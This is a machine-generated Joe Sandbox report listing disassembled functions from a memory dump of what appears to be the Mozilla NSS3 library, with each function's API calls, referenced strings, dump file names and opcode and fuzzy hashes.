Part of subcall function 6CB00FF0: PL_InitArenaPool.NSS3(00000000,security,6CAA87ED,00000008,?,00000800,6CA9EF74,00000000), ref: 6CB0102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CAABDDB

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CAABDEC

Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CAABE03

Part of subcall function 6CAFFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAF8D2D,?,00000000,?), ref: 6CAFFB85
Part of subcall function 6CAFFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAFFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAABE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAABE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAABE3B

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 0f5e947f4a7dfab60f9739a05e6a2a57fa751835b421941c80e09d428dc1e17b
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 43012B75B4024566F62026A6BC01FAF3A5C8F5068DF180131FE0897B82FB51D51A82B5

Function 6CB00FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CAA87ED,00000800,6CA9EF74,00000000), ref: 6CB01000
PR_NewLock.NSS3(?,00000800,6CA9EF74,00000000), ref: 6CB01016

Part of subcall function 6CB698D0: calloc.MOZGLUE(00000001,00000084,6CA90936,00000001,?,6CA9102C), ref: 6CB698E5

PL_InitArenaPool.NSS3(00000000,security,6CAA87ED,00000008,?,00000800,6CA9EF74,00000000), ref: 6CB0102B
TlsGetValue.KERNEL32(00000000,?,?,6CAA87ED,00000800,6CA9EF74,00000000), ref: 6CB01044
free.MOZGLUE(00000000,?,00000800,6CA9EF74,00000000), ref: 6CB01064

Strings

security, xrefs: 6CB01025

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 3b211adcf0a1ff9f63674870fab3ce4c1b4eb7d01976d6f97c543acc0c47dda1
Instruction ID: 466adf160c916b9fba8771a1cb69c5446b41646c83fe9dbd55403cd22c154350
Opcode Fuzzy Hash: 3b211adcf0a1ff9f63674870fab3ce4c1b4eb7d01976d6f97c543acc0c47dda1
Instruction Fuzzy Hash: F5012170B402D09BE7202F2C9C05A563EBCFF0679DF094119E88897A51FB61D198DBE2

Function 6CB31C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB31C74

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CB31C92
free.MOZGLUE(?), ref: 6CB31C99
DeleteCriticalSection.KERNEL32(?), ref: 6CB31CCB
free.MOZGLUE(?), ref: 6CB31CD2

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 312e8a1bfca436666072052fd3b1a6d59cb34501467c0b0dddcdb92ffaa8e369
Instruction ID: 3b68399a439b68c868b300459398393755e70009ee46f3cfada154150e5d7421
Opcode Fuzzy Hash: 312e8a1bfca436666072052fd3b1a6d59cb34501467c0b0dddcdb92ffaa8e369
Instruction Fuzzy Hash: CD01F5B1F052705FDF20AFA49C0DB4A37BCA70B748F450029E90EA7B40D772E09987A2

Function 6CB91C40 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,6CA93D77,?,?,6CA94E1D), ref: 6CB91C8A
sqlite3_free.NSS3(00000000), ref: 6CB91CB6

Strings

an index, xrefs: 6CB91C67
a generated column, xrefs: 6CB91C6C
non-deterministic use of %s() in %s, xrefs: 6CB91C85
a CHECK constraint, xrefs: 6CB91C76, 6CB91C81

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 1840970956-3705377941
Opcode ID: 9040b6f579d7a532d71f88487fb1bf5500f5fe4ee0d1947cdf42e1470da9c512
Instruction ID: b0c2c61fc74562c1d8d9ae9f4785e1512a97ccfd19dc892d2d3853e0b91a7cf8
Opcode Fuzzy Hash: 9040b6f579d7a532d71f88487fb1bf5500f5fe4ee0d1947cdf42e1470da9c512
Instruction Fuzzy Hash: CF014CB5A001804BD700BF2CD40297177E5EF8234CB15487DDD459BB02EB32E896C751

Function 6CB42E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB43046

Part of subcall function 6CB2EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB2EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CB17FFB), ref: 6CB4312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB43154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB42E8B

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

Part of subcall function 6CB2F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CB19BFF,?,00000000,00000000), ref: 6CB2F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CB17FFA), ref: 6CB42EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB4317B

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 1fe27d00af9f648a891f11a2614b63d648f8788a0b2554155b8b519d14e8651c
Instruction ID: 2133a14306b4723b6fb5cf37590dc499aafd860b22d7957c8620fac0f34d51f3
Opcode Fuzzy Hash: 1fe27d00af9f648a891f11a2614b63d648f8788a0b2554155b8b519d14e8651c
Instruction Fuzzy Hash: 7CA1BC71A042589FDF24CF54CC80BEEB7B5EF49308F048199E949A7745E731A985CFA2

Function 6CB0ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CB0ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CB0EDCE

Part of subcall function 6CB00BE0: malloc.MOZGLUE(6CAF8D2D,?,00000000,?), ref: 6CB00BF8
Part of subcall function 6CB00BE0: TlsGetValue.KERNEL32(6CAF8D2D,?,00000000,?), ref: 6CB00C15

free.MOZGLUE(00000000,?,?,?,?,6CB0B04F), ref: 6CB0EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CB0EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CB0EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CB0EEFB

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: c3e17d4aa15bd441b59029e2b2347b12fc1f2b41b09e1349ee32ce185beda3b9
Instruction ID: f2b43b60351a04a19f84b031d1a5c60485c079833c109c6ee1300417f21ed71d
Opcode Fuzzy Hash: c3e17d4aa15bd441b59029e2b2347b12fc1f2b41b09e1349ee32ce185beda3b9
Instruction Fuzzy Hash: 05816BB1B002899FEB14CF55D880AAF7BF5FF88348F144428E8659B751D730E814CBA2

Function 6CB0CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB0C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CB0DAE2,?), ref: 6CB0C6C2

PR_Now.NSS3 ref: 6CB0CD35

Part of subcall function 6CB69DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CBB0A27), ref: 6CB69DC6
Part of subcall function 6CB69DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CBB0A27), ref: 6CB69DD1
Part of subcall function 6CB69DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB69DED

Part of subcall function 6CAF6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CAA1C6F,00000000,00000004,?,?), ref: 6CAF6C3F

PR_GetCurrentThread.NSS3 ref: 6CB0CD54

Part of subcall function 6CB69BF0: TlsGetValue.KERNEL32(?,?,?,6CBB0A75), ref: 6CB69C07

Part of subcall function 6CAF7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CAA1CCC,00000000,00000000,?,?), ref: 6CAF729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB0CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CB0CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CB0CE2C

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CB0CE40

Part of subcall function 6CB014C0: TlsGetValue.KERNEL32 ref: 6CB014E0
Part of subcall function 6CB014C0: EnterCriticalSection.KERNEL32 ref: 6CB014F5
Part of subcall function 6CB014C0: PR_Unlock.NSS3 ref: 6CB0150D

Part of subcall function 6CB0CEE0: PORT_ArenaMark_Util.NSS3(?,6CB0CD93,?), ref: 6CB0CEEE
Part of subcall function 6CB0CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CB0CD93,?), ref: 6CB0CEFC
Part of subcall function 6CB0CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CB0CD93,?), ref: 6CB0CF0B
Part of subcall function 6CB0CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CB0CD93,?), ref: 6CB0CF1D

Part of subcall function 6CB0CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CB0CD93,?), ref: 6CB0CF47
Part of subcall function 6CB0CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CB0CD93,?), ref: 6CB0CF67
Part of subcall function 6CB0CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CB0CD93,?,?,?,?,?,?,?,?,?,?,?,6CB0CD93,?), ref: 6CB0CF78

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 800ab21de11cdc08c6c2c278d47e5faafa2dd64d2331e7c766f413eb88f48038
Instruction ID: 4c3479fe4c3eb5e29d10bc560330a12c2487f09fc290af9ae5427fe2099e3178
Opcode Fuzzy Hash: 800ab21de11cdc08c6c2c278d47e5faafa2dd64d2331e7c766f413eb88f48038
Instruction Fuzzy Hash: EF51B3B6B001509BE710DF69DC40BAA7BE4EF48348F250524E95997B41EB31F945CBA3

Function 6CB1FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CB1FFE5

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

PR_EnterMonitor.NSS3(?), ref: 6CB20004
PR_EnterMonitor.NSS3(?), ref: 6CB2001B

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 1ff18ca93d0cfe4196e5bbdf2c11a8536ad6c2002143feef5c81c5f4829847c7
Instruction ID: 06755ad281be3bed58a78054f6bd45bcfbdd79f957e22dea14cdc65c0412be21
Opcode Fuzzy Hash: 1ff18ca93d0cfe4196e5bbdf2c11a8536ad6c2002143feef5c81c5f4829847c7
Instruction Fuzzy Hash: B94125756886C08BE7204A29FCB17BB72A5DB4130AF10053DF55FCAEA0E3BDA549C742

Function 6CADEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CADEF38

Part of subcall function 6CAC9520: PK11_IsLoggedIn.NSS3(00000000,?,6CAF379E,?,00000001,?), ref: 6CAC9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CADEF53

Part of subcall function 6CAE4C20: TlsGetValue.KERNEL32 ref: 6CAE4C4C
Part of subcall function 6CAE4C20: EnterCriticalSection.KERNEL32(?), ref: 6CAE4C60
Part of subcall function 6CAE4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE4CA1
Part of subcall function 6CAE4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CAE4CBE
Part of subcall function 6CAE4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE4CD2
Part of subcall function 6CAE4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE4D3A

PR_GetCurrentThread.NSS3 ref: 6CADEF9E

Part of subcall function 6CB69BF0: TlsGetValue.KERNEL32(?,?,?,6CBB0A75), ref: 6CB69C07

free.MOZGLUE(00000000), ref: 6CADEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CADF016
free.MOZGLUE(00000000), ref: 6CADF022

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 4f8cb50bd2744052cc7bafc877cb66f646a0cf156834f5ca3a7034a5b73d1f3c
Instruction ID: 40a8fdc5f5645e41ccdd4929d2f3ef6b368bd6fbafa54a4eeaf7104fab9f4756
Opcode Fuzzy Hash: 4f8cb50bd2744052cc7bafc877cb66f646a0cf156834f5ca3a7034a5b73d1f3c
Instruction Fuzzy Hash: 5E41B271E00209ABDF018FA9DC45BEF7BB9AF48348F054029F914A7350E771D9598BA1

Function 6CACCF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CACCF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CACD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CACD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CACD025
PR_NewLock.NSS3 ref: 6CACD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CACD074

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 3639d669de320a627e59ebeccd6974b16b20b4b1f02fe801ffb21c594127fe72
Instruction ID: e078e67131a6453d19c1975b9435028d96b6092a993dc4c224e559d9b5e6484e
Opcode Fuzzy Hash: 3639d669de320a627e59ebeccd6974b16b20b4b1f02fe801ffb21c594127fe72
Instruction Fuzzy Hash: 49418DB0B413118FDB109F29C88479A7BE4AF08319F15416AEC1A8BB46D774D8C9CBE2

Function 6CB13FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CB13FF2

Part of subcall function 6CB014C0: TlsGetValue.KERNEL32 ref: 6CB014E0
Part of subcall function 6CB014C0: EnterCriticalSection.KERNEL32 ref: 6CB014F5
Part of subcall function 6CB014C0: PR_Unlock.NSS3 ref: 6CB0150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CB14001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CB1400F

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CB14054

Part of subcall function 6CAABB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CAABC24
Part of subcall function 6CAABB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CAABC39
Part of subcall function 6CAABB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CAABC58
Part of subcall function 6CAABB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CAABCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB14070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CB140CD

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 2d128c215d8bc99ce55985cb870159c7ea4464b8333b43fbf6beeb720942edf1
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 6D31E771E083819BEB008F659D45BBF3768EF9064CF144225FD089BB46F762E9988692

Function 6CAB2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CAA2D1A), ref: 6CAB2E7E

Part of subcall function 6CB007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CAA8298,?,?,?,6CA9FCE5,?), ref: 6CB007BF
Part of subcall function 6CB007B0: PL_HashTableLookup.NSS3(?,?), ref: 6CB007E6
